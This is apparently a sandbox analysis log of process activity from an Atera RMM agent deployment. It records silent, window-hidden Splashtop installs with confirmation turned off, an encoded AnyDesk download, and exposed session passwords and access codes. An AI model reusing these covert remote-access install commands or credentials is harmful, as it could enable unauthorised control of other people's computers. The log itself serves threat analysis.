- C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageAgentInformation\AgentPackageAgentInformation.exe
  "C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageAgentInformation\AgentPackageAgentInformation.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "021a1dae-b3c7-4e8f-ba4b-83c97850a733" agent-api.atera.com/Production 443 or8ixLi90Mf "minimalIdentification" 001Q300000MveCAIAZ
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  PID:300
- C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageAgentInformation\AgentPackageAgentInformation.exe
  "C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageAgentInformation\AgentPackageAgentInformation.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "fae74002-b673-4797-9e33-7898be834294" agent-api.atera.com/Production 443 or8ixLi90Mf "minimalIdentification" 001Q300000MveCAIAZ
  2⤵
  - Executes dropped EXE
  PID:5280
- C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageAgentInformation\AgentPackageAgentInformation.exe
  "C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageAgentInformation\AgentPackageAgentInformation.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "8f9c5d5d-6fd3-40db-8815-d83ad2682cd5" agent-api.atera.com/Production 443 or8ixLi90Mf "identified" 001Q300000MveCAIAZ
  2⤵
  - Executes dropped EXE
  PID:1820
- C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageAgentInformation\AgentPackageAgentInformation.exe
  "C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageAgentInformation\AgentPackageAgentInformation.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "4d0d162d-6c43-4470-a97f-9d0f8253ff0e" agent-api.atera.com/Production 443 or8ixLi90Mf "generalinfo fromGui" 001Q300000MveCAIAZ
  2⤵
  - Executes dropped EXE
  PID:980
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c cscript "C:\Program Files\Microsoft Office\Office16\ospp.vbs" /dstatus
    3⤵
    PID:1504
  - - C:\Windows\system32\cscript.exe
      cscript "C:\Program Files\Microsoft Office\Office16\ospp.vbs" /dstatus
      4⤵
      Modifies data under HKEY_USERS
      PID:5100
- C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageSTRemote\AgentPackageSTRemote.exe
  "C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageSTRemote\AgentPackageSTRemote.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "795cda1c-8085-49f6-b0f8-74a4978e15d3" agent-api.atera.com/Production 443 or8ixLi90Mf "install eyJSbW1Db2RlIjoiaFpDREZQaEs3NW1KIn0=" 001Q300000MveCAIAZ
  2⤵
  - Executes dropped EXE
  PID:3296
- - C:\Windows\TEMP\SplashtopStreamer.exe
    "C:\Windows\TEMP\SplashtopStreamer.exe" prevercheck /s /i sec_opt=0,confirm_d=0,hidewindow=1
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    - Suspicious use of SetWindowsHookEx
    PID:5076
  - - C:\Windows\Temp\unpack\PreVerCheck.exe
      "C:\Windows\Temp\unpack\PreVerCheck.exe" /s /i sec_opt=0,confirm_d=0,hidewindow=1
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5216
    - - C:\Windows\SysWOW64\msiexec.exe
        
        msiexec /norestart /i "setup.msi" /qn /l*v "C:\Windows\TEMP\PreVer.log.txt" CA_EXTPATH=1 USERINFO="sec_opt=0,confirm_d=0,hidewindow=1"
        5⤵
        
        PID:5100
- C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageMonitoring\AgentPackageMonitoring.exe
  "C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageMonitoring\AgentPackageMonitoring.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "4bdf9253-1c8d-4fa1-a622-e1f2db0f68f3" agent-api.atera.com/Production 443 or8ixLi90Mf "syncprofile" 001Q300000MveCAIAZ
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  PID:2240

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 2752 -ip 2752
1⤵
PID:3552

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 2752 -ip 2752
1⤵
PID:6056

C:\Program Files (x86)\ATERA Networks\AteraAgent\AteraAgent.exe
"C:\Program Files (x86)\ATERA Networks\AteraAgent\AteraAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
PID:4128
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" failure AteraAgent reset= 600 actions= restart/25000
  2⤵
  - Launches sc.exe
  PID:5560
- C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageMonitoring\AgentPackageMonitoring.exe
  "C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageMonitoring\AgentPackageMonitoring.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "4bdf9253-1c8d-4fa1-a622-e1f2db0f68f3" agent-api.atera.com/Production 443 or8ixLi90Mf "syncprofile" 001Q300000MveCAIAZ
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  PID:2256
- C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageAgentInformation\AgentPackageAgentInformation.exe
  "C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageAgentInformation\AgentPackageAgentInformation.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "0458e354-55f1-460e-b64a-812a53c631a9" agent-api.atera.com/Production 443 or8ixLi90Mf "generalinfo" 001Q300000MveCAIAZ
  2⤵
  - Modifies data under HKEY_USERS
  PID:5788
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c cscript "C:\Program Files\Microsoft Office\Office16\ospp.vbs" /dstatus
    3⤵
    PID:4684
  - - C:\Windows\system32\cscript.exe
      cscript "C:\Program Files\Microsoft Office\Office16\ospp.vbs" /dstatus
      4⤵
      Modifies data under HKEY_USERS
      PID:6812
- C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageMonitoring\AgentPackageMonitoring.exe
  "C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageMonitoring\AgentPackageMonitoring.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "e44185fa-b248-42b8-bfe7-189749313e94" agent-api.atera.com/Production 443 or8ixLi90Mf "monitor" 001Q300000MveCAIAZ
  2⤵
  - Writes to the Master Boot Record (MBR)
  - Modifies data under HKEY_USERS
  PID:6304
- C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageUpgradeAgent\AgentPackageUpgradeAgent.exe
  "C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageUpgradeAgent\AgentPackageUpgradeAgent.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "544fbf2b-8404-4ff9-bacb-36e9d42f6111" agent-api.atera.com/Production 443 or8ixLi90Mf "checkforupdates" 001Q300000MveCAIAZ
  2⤵
  PID:3656
- - C:\Windows\SYSTEM32\msiexec.exe
    "msiexec.exe" /i C:\Windows\TEMP\ateraAgentSetup64_1_8_7_2.msi /lv* AteraSetupLog.txt /qn /norestart
    3⤵
    - Modifies data under HKEY_USERS
    PID:6876
- C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageInternalPoller\AgentPackageInternalPoller.exe
  "C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageInternalPoller\AgentPackageInternalPoller.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "69426166-699f-4ca5-b64b-52406cc4a375" agent-api.atera.com/Production 443 or8ixLi90Mf "pollAll" 001Q300000MveCAIAZ
  2⤵
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - Modifies data under HKEY_USERS
  PID:6792
- C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageSystemTools\AgentPackageSystemTools.exe
  "C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageSystemTools\AgentPackageSystemTools.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "71625dbe-c07d-4773-bec4-12b432e32f1b" agent-api.atera.com/Production 443 or8ixLi90Mf "probe" 001Q300000MveCAIAZ
  2⤵
  - Drops file in System32 directory
  PID:5024
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:920
- C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageADRemote\AgentPackageADRemote.exe
  "C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageADRemote\AgentPackageADRemote.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "0a069e2f-931c-45b8-87db-88f8617e50ba" agent-api.atera.com/Production 443 or8ixLi90Mf "eyJBZENvbW1hbmRUeXBlIjo1LCJJbnN0YWxsYXRpb25GaWxlVXJsIjoiaHR0cHM6Ly9nZXQuYW55ZGVzay5jb20vOENRc3U5a3YvQW55RGVza19DdXN0b21fQ2xpZW50Lm1zaSIsIkZvcmNlSW5zdGFsbCI6ZmFsc2UsIlRhcmdldFZlcnNpb24iOiIifQ==" 001Q300000MveCAIAZ
  2⤵
  PID:5772
- C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\Agent.Package.Watchdog\Agent.Package.Watchdog.exe
  "C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\Agent.Package.Watchdog\Agent.Package.Watchdog.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "b3496810-5283-4f4f-86ba-539e1839db63" agent-api.atera.com/Production 443 or8ixLi90Mf "eyJBcmd1bWVudHMiOiJ7XHUwMDIyQ29tbWFuZE5hbWVcdTAwMjI6XHUwMDIybWFpbnRlbmFuY2VcdTAwMjIsXHUwMDIyRW5hYmxlZFx1MDAyMjp0cnVlLFx1MDAyMlJlcGVhdEludGVydmFsTWludXRlc1x1MDAyMjoxMCxcdTAwMjJEYXlzSW50ZXJ2YWxcdTAwMjI6MSxcdTAwMjJSZXBlYXREdXJhdGlvbkRheXNcdTAwMjI6MX0ifQ==" 001Q300000MveCAIAZ
  2⤵
  PID:2608
- C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageOsUpdates\AgentPackageOsUpdates.exe
  "C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageOsUpdates\AgentPackageOsUpdates.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "1e68b373-f9f7-43df-b19b-421c6bb8daab" agent-api.atera.com/Production 443 or8ixLi90Mf "getlistofallupdates" 001Q300000MveCAIAZ
  2⤵
  - Drops file in System32 directory
  PID:300
- C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageSTRemote\AgentPackageSTRemote.exe
  "C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageSTRemote\AgentPackageSTRemote.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "0b23a65c-4a7e-4395-9c80-9922316de8e6" agent-api.atera.com/Production 443 or8ixLi90Mf "downloadifneeded" 001Q300000MveCAIAZ
  2⤵
  - Modifies data under HKEY_USERS
  PID:4728
- - C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRUtility.exe
    "C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRUtility.exe" -a "st-streamer://com.splashtop.streamer/?rmm_code=hZCDFPhK75mJ&rmm_session_pwd=02a558a35baca189652783c44c820143&rmm_session_pwd_ttl=86400"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:888
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6264
- C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageTicketing\AgentPackageTicketing.exe
  "C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageTicketing\AgentPackageTicketing.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "ea9018e3-27f9-4506-874d-42ebfb10b9ff" agent-api.atera.com/Production 443 or8ixLi90Mf "maintain" 001Q300000MveCAIAZ
  2⤵
  - Drops file in System32 directory
  - Modifies registry class
  PID:3672
- C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageHeartbeat\AgentPackageHeartbeat.exe
  "C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageHeartbeat\AgentPackageHeartbeat.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "cd9b0f34-a0e7-4314-a9d7-b1a49c9e274c" agent-api.atera.com/Production 443 or8ixLi90Mf "heartbeat" 001Q300000MveCAIAZ
  2⤵
  - Blocklisted process makes network request
  - Drops file in System32 directory
  PID:4256
- C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageMarketplace\AgentPackageMarketplace.exe
  "C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageMarketplace\AgentPackageMarketplace.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "691b3dd9-9365-4207-8d87-8bc8e6282024" agent-api.atera.com/Production 443 or8ixLi90Mf "agentprovision" 001Q300000MveCAIAZ
  2⤵
  - Drops file in System32 directory
  PID:6884
- C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageRuntimeInstaller\AgentPackageRuntimeInstaller.exe
  "C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageRuntimeInstaller\AgentPackageRuntimeInstaller.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "b3ab9fc5-cc3f-4218-a2f7-507dd0da6e46" agent-api.atera.com/Production 443 or8ixLi90Mf "eyJDb21tYW5kTmFtZSI6Imluc3RhbGxkb3RuZXQiLCJEb3ROZXRWZXJzaW9uIjoiNi4wLjM1IiwiTWFjQVJNRG93bmxvYWRVcmwiOiJodHRwczovL2Rvd25sb2FkLnZpc3VhbHN0dWRpby5taWNyb3NvZnQuY29tL2Rvd25sb2FkL3ByLzU4OTc4Y2ViLTVkZTMtNDllMi1iNTcxLTk3MjgyNWIwOGYwYS9mMWJkOWIxYmI1YjI1YjhjOWNlZTQwZWQ5YTNkODAyMy9kb3RuZXQtcnVudGltZS02LjAuMzUtb3N4LWFybTY0LnBrZyIsIk1hY1g2NERvd25sb2FkVXJsIjoiaHR0cHM6Ly9kb3dubG9hZC52aXN1YWxzdHVkaW8ubWljcm9zb2Z0LmNvbS9kb3dubG9hZC9wci8yNjkyMDY2NC1kNzU0LTRmNzYtOWM5OS1lNjkxMTYzNDhlODIvYTQwMzE1MzcxY2M2MDdjOWYxODQ3OGM5M2YyYTY3NmEvZG90bmV0LXJ1bnRpbWUtNi4wLjM1LW9zeC14NjQucGtnIiwiV2luQVJNRG93bmxvYWRVcmwiOiJodHRwczovL2Rvd25sb2FkLnZpc3VhbHN0dWRpby5taWNyb3NvZnQuY29tL2Rvd25sb2FkL3ByL2EyMjNjNDViLTQ3NzctNDA1Ni1hZWEyLTY1M2M1NzZkODExNS9iZjhhZjYzYzZlNjI1YmU0YWZhODVlYzA5M2U4MWU2NS9kb3RuZXQtcnVudGltZS02LjAuMzUtd2luLWFybTY0LmV4ZSIsIldpblg2NERvd25sb2FkVXJsIjoiaHR0cHM6Ly9kb3dubG9hZC52aXN1YWxzdHVkaW8ubWljcm9zb2Z0LmNvbS9kb3dubG9hZC9wci9jNGY2NTYyMS1iMzZiLTQ2YTktODM4MC1kNWI2NjBiZWYyN2UvMDE4NWZkNzIwNTVkY2RjYTg2MTY2Yjk5YWRkNzE2ODYvZG90bmV0LXJ1bnRpbWUtNi4wLjM1LXdpbi14NjQuZXhlIiwiV2luWDg2RG93bmxvYWRVcmwiOiJodHRwczovL2Rvd25sb2FkLnZpc3VhbHN0dWRpby5taWNyb3NvZnQuY29tL2Rvd25sb2FkL3ByL2E5MGZiNWRjLWY0ODgtNDAwZS04NWNhLTg0M2ExMzY0MGY1Ni80ODNkMjQ2MzhjYzJiZWRhZGRhYjQzNzM0YWEyZTQ0Ny9kb3RuZXQtcnVudGltZS02LjAuMzUtd2luLXg4Ni5leGUiLCJNYWNBUk1DaGVja3N1bSI6IlVlSmJHR0dWb2NwZmdpckU2eDVNN29MQzhBS2NOSjk4SDNFcmJ0L0taS0dPdWxpQ1Flc1x1MDAyQmx6Wno5XHUwMDJCcnQwdXJMZ2FEeng0cmtXZm0veWg5UWI1RFRKUT09IiwiTWFjWDY0Q2hlY2tzdW0iOiJaZFZQVmRFSG40ZXFkdlNPUksxRUpXcjdnOUt5b0RZSXp6czQzOUxKeHYvZkFRdG5iTjk3OE8yTm1pNGtRSFNkdlJJazEvNFx1MDAyQjlycTZPMEx2Q2FnL1d3PT0iLCJXaW5BUk1DaGVja3N1bSI6IldlTGhodXU3Vi96NEs2WGVubDBINDVWWDExb0ZhdHdvV1BNa2pEQ2dobmhrTm5US2tqZjc0eUFcdTAwMkJcdTAwMkJ0Ri9VU1ZDZXE2T2dRbHI2V1Y1dU1rRWwxUVdqUT09IiwiV2luWDY0Q2hlY2tzdW0iOiJEREtSSlRFanp6XHUwMDJCSWUxMldTM2Y0aHVKQlNpeXR4TkRwQlI2SXpFeHpkM2ZBb0toNVV5MkEwbTlKOFU0ZVh5VmJxeEhjZzB3M25hWW1FZFNFeEwzMEZnPT0iLCJXaW5YODZDaGVja3N1bSI6IjdtSUF5bG9IeWxIVFVJakhud3NXeVVOXHUwMDJCVWU0alk3eXBrZVx1MDAyQnEyM2xNbEdzR0hpVUc1b21scW1LOVEvYVViODhLXHUwMDJCTnBGMWNaUVpXQjVJb3ZtTzVucWN3PT0iLCJXb3Jrc3BhY2VJZCI6ImJmMGNlNDlkLTc3Y2YtNDcyMS1iZjcwLTU3Njg2MzgzYzlhYiIsIkxvZ05hbWUiOiJEb3ROZXRSdW50aW1lSW5zdGFsbGF0aW9uUmVwb3J0IiwiU2hhcmVkS2V5IjoialVJUy9UOUNSVkRlS3hZZzRVcjNhQ2hoV1F1Y1k3UFZ2d2cwekh1cUpzY3JUampRMkx3SzZVamZ1N2NBMk5wckFSMHIvU1JBWEpZWWxkUEtLRnlLS1E9PSJ9" 001Q300000MveCAIAZ
  2⤵
  - Drops file in System32 directory
  PID:6856
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /K "cd /d C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageRuntimeInstaller\" /
    3⤵
    - System Time Discovery
    PID:2776
  - - C:\Program Files\dotnet\dotnet.exe
      dotnet --list-runtimes
      4⤵
      System Time Discovery
      PID:6532
- C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageProgramManagement\AgentPackageProgramManagement.exe
  "C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageProgramManagement\AgentPackageProgramManagement.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "3d88bfe3-ebb5-44ab-8f54-43f0c1a0b85f" agent-api.atera.com/Production 443 or8ixLi90Mf "syncinstalledapps" 001Q300000MveCAIAZ
  2⤵
  - Drops file in System32 directory
  - Drops file in Program Files directory
  PID:2944

C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRService.exe
"C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRService.exe"
1⤵
- System Location Discovery: System Language Discovery
PID:6376
- C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRManager.exe
  "C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRManager.exe"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:1504
- - C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRServer.exe
    -h
    3⤵
    - Suspicious use of SetWindowsHookEx
    PID:7152
- - C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRAgent.exe
    "C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRAgent.exe"
    3⤵
    PID:4748
  - - C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\BdEpSDK.exe
      "C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\BdEpSDK.exe" -v
      4⤵
      PID:6744
- - C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRAppPB.exe
    "C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRAppPB.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:7164
- - C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRFeature.exe
    "C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRFeature.exe"
    3⤵
    PID:6420
  - - C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRUtility.exe
      SRUtility.exe -r
      4⤵
      System Location Discovery: System Language Discovery
      PID:6532
- - C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRVirtualDisplay.exe
    "C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRVirtualDisplay.exe"
    3⤵
    - Suspicious use of SetWindowsHookEx
    PID:6364

C:\Program Files\ATERA Networks\AteraAgent\AteraAgent.exe
"C:\Program Files\ATERA Networks\AteraAgent\AteraAgent.exe"
1⤵
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
PID:7828
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" failure AteraAgent reset= 600 actions= restart/25000
  2⤵
  - Launches sc.exe
  PID:7552
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6884
- C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageHeartbeat\AgentPackageHeartbeat.exe
  "C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageHeartbeat\AgentPackageHeartbeat.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "f7f261a8-0e57-42b6-a9bc-9a4f3e55ff1b" agent-api.atera.com/Production 443 or8ixLi90Mf "heartbeat" 001Q300000MveCAIAZ
  2⤵
  PID:2372
- C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageADRemote\AgentPackageADRemote.exe
  "C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageADRemote\AgentPackageADRemote.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "fc7ff27f-3139-4073-9485-779e30270eaa" agent-api.atera.com/Production 443 or8ixLi90Mf "eyJBZENvbW1hbmRUeXBlIjo1LCJJbnN0YWxsYXRpb25GaWxlVXJsIjoiaHR0cHM6Ly9nZXQuYW55ZGVzay5jb20vOENRc3U5a3YvQW55RGVza19DdXN0b21fQ2xpZW50Lm1zaSIsIkZvcmNlSW5zdGFsbCI6ZmFsc2UsIlRhcmdldFZlcnNpb24iOiIifQ==" 001Q300000MveCAIAZ
  2⤵
  PID:6004
- C:\Program Files\ATERA Networks\AteraAgent\Packages\Agent.Package.Watchdog\Agent.Package.Watchdog.exe
  "C:\Program Files\ATERA Networks\AteraAgent\Packages\Agent.Package.Watchdog\Agent.Package.Watchdog.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "dd20d181-bd14-4cd8-ba4f-656ad06c5690" agent-api.atera.com/Production 443 or8ixLi90Mf "eyJBcmd1bWVudHMiOiJ7XHUwMDIyQ29tbWFuZE5hbWVcdTAwMjI6XHUwMDIybWFpbnRlbmFuY2VcdTAwMjIsXHUwMDIyRW5hYmxlZFx1MDAyMjp0cnVlLFx1MDAyMlJlcGVhdEludGVydmFsTWludXRlc1x1MDAyMjoxMCxcdTAwMjJEYXlzSW50ZXJ2YWxcdTAwMjI6MSxcdTAwMjJSZXBlYXREdXJhdGlvbkRheXNcdTAwMjI6MX0ifQ==" 001Q300000MveCAIAZ
  2⤵
  PID:5100
- C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageAgentInformation\AgentPackageAgentInformation.exe
  "C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageAgentInformation\AgentPackageAgentInformation.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "67c95b5f-7d45-4bb5-8bad-7110dc6d3a8f" agent-api.atera.com/Production 443 or8ixLi90Mf "generalinfo" 001Q300000MveCAIAZ
  2⤵
  - Drops file in Program Files directory
  - Modifies data under HKEY_USERS
  PID:8064
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c cscript "C:\Program Files\Microsoft Office\Office16\ospp.vbs" /dstatus
    3⤵
    PID:7064
  - - C:\Windows\system32\cscript.exe
      cscript "C:\Program Files\Microsoft Office\Office16\ospp.vbs" /dstatus
      4⤵
      Modifies data under HKEY_USERS
      PID:2568
- C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageInternalPoller\AgentPackageInternalPoller.exe
  "C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageInternalPoller\AgentPackageInternalPoller.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "ca5b2e50-1f1a-4f0f-b1c2-85f2d24be87d" agent-api.atera.com/Production 443 or8ixLi90Mf "pollAll" 001Q300000MveCAIAZ
  2⤵
  PID:7516
- C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageMarketplace\AgentPackageMarketplace.exe
  "C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageMarketplace\AgentPackageMarketplace.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "4d106883-acd7-4936-ad9d-2fcf24ea1f52" agent-api.atera.com/Production 443 or8ixLi90Mf "agentprovision" 001Q300000MveCAIAZ
  2⤵
  PID:4844
- C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageRuntimeInstaller\AgentPackageRuntimeInstaller.exe
  "C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageRuntimeInstaller\AgentPackageRuntimeInstaller.exe" a8163d42-479e-4a12-a886-9fad6c9d9756 "f08657a0-758f-4009-a0e2-5d9a01d93402" agent-api.atera.com/Production 443 or8ixLi90Mf "eyJDb21tYW5kTmFtZSI6Imluc3RhbGxkb3RuZXQiLCJEb3ROZXRWZXJzaW9uIjoiNi4wLjM1IiwiTWFjQVJNRG93bmxvYWRVcmwiOiJodHRwczovL2Rvd25sb2FkLnZpc3VhbHN0dWRpby5taWNyb3NvZnQuY29tL2Rvd25sb2FkL3ByLzU4OTc4Y2ViLTVkZTMtNDllMi1iNTcxLTk3MjgyNWIwOGYwYS9mMWJkOWIxYmI1YjI1YjhjOWNlZTQwZWQ5YTNkODAyMy9kb3RuZXQtcnVudGltZS02LjAuMzUtb3N4LWFybTY0LnBrZyIsIk1hY1g2NERvd25sb2FkVXJsIjoiaHR0cHM6Ly9kb3dubG9hZC52aXN1YWxzdHVkaW8ubWljcm9zb2Z0LmNvbS9kb3dubG9hZC9wci8yNjkyMDY2NC1kNzU0LTRmNzYtOWM5OS1lNjkxMTYzNDhlODIvYTQwMzE1MzcxY2M2MDdjOWYxODQ3OGM5M2YyYTY3NmEvZG90bmV0LXJ1bnRpbWUtNi4wLjM1LW9zeC14NjQucGtnIiwiV2luQVJNRG93bmxvYWRVcmwiOiJodHRwczovL2Rvd25sb2FkLnZpc3VhbHN0dWRpby5taWNyb3NvZnQuY29tL2Rvd25sb2FkL3ByL2EyMjNjNDViLTQ3NzctNDA1Ni1hZWEyLTY1M2M1NzZkODExNS9iZjhhZjYzYzZlNjI1YmU0YWZhODVlYzA5M2U4MWU2NS9kb3RuZXQtcnVudGltZS02LjAuMzUtd2luLWFybTY0LmV4ZSIsIldpblg2NERvd25sb2FkVXJsIjoiaHR0cHM6Ly9kb3dubG9hZC52aXN1YWxzdHVkaW8ubWljcm9zb2Z0LmNvbS9kb3dubG9hZC9wci9jNGY2NTYyMS1iMzZiLTQ2YTktODM4MC1kNWI2NjBiZWYyN2UvMDE4NWZkNzIwNTVkY2RjYTg2MTY2Yjk5YWRkNzE2ODYvZG90bmV0LXJ1bnRpbWUtNi4wLjM1LXdpbi14NjQuZXhlIiwiV2luWDg2RG93bmxvYWRVcmwiOiJodHRwczovL2Rvd25sb2FkLnZpc3VhbHN0dWRpby5taWNyb3NvZnQuY29tL2Rvd25sb2FkL3ByL2E5MGZiNWRjLWY0ODgtNDAwZS04NWNhLTg0M2ExMzY0MGY1Ni80ODNkMjQ2MzhjYzJiZWRhZGRhYjQzNzM0YWEyZTQ0Ny9kb3RuZXQtcnVudGltZS02LjAuMzUtd2luLXg4Ni5leGUiLCJNYWNBUk1DaGVja3N1bSI6IlVlSmJHR0dWb2NwZmdpckU2eDVNN29MQzhBS2NOSjk4SDNFcmJ0L0taS0dPdWxpQ1Flc1x1MDAyQmx6Wno5XHUwMDJCcnQwdXJMZ2FEeng0cmtXZm0veWg5UWI1RFRKUT09IiwiTWFjWDY0Q2hlY2tzdW0iOiJaZFZQVmRFSG40ZXFkdlNPUksxRUpXcjdnOUt5b0RZSXp6czQzOUxKeHYvZkFRdG5iTjk3OE8yTm1pNGtRSFNkdlJJazEvNFx1MDAyQjlycTZPMEx2Q2FnL1d3PT0iLCJXaW5BUk1DaGVja3N1bSI6IldlTGhodXU3Vi96NEs2WGVubDBINDVWWDExb0ZhdHdvV1BNa2pEQ2dobmhrTm5US2tqZjc0eUFcdTAwMkJcdTAwMkJ0Ri9VU1ZDZXE2T2dRbHI2V1Y1dU1rRWwxUVdqUT09IiwiV2luWDY0Q2hlY2tzdW0iOiJEREtSSlRFanp6XHUwMDJCSWUxMldTM2Y0aHVKQlNpeXR4TkRwQlI2SXpFeHpkM2ZBb0toNVV5MkEw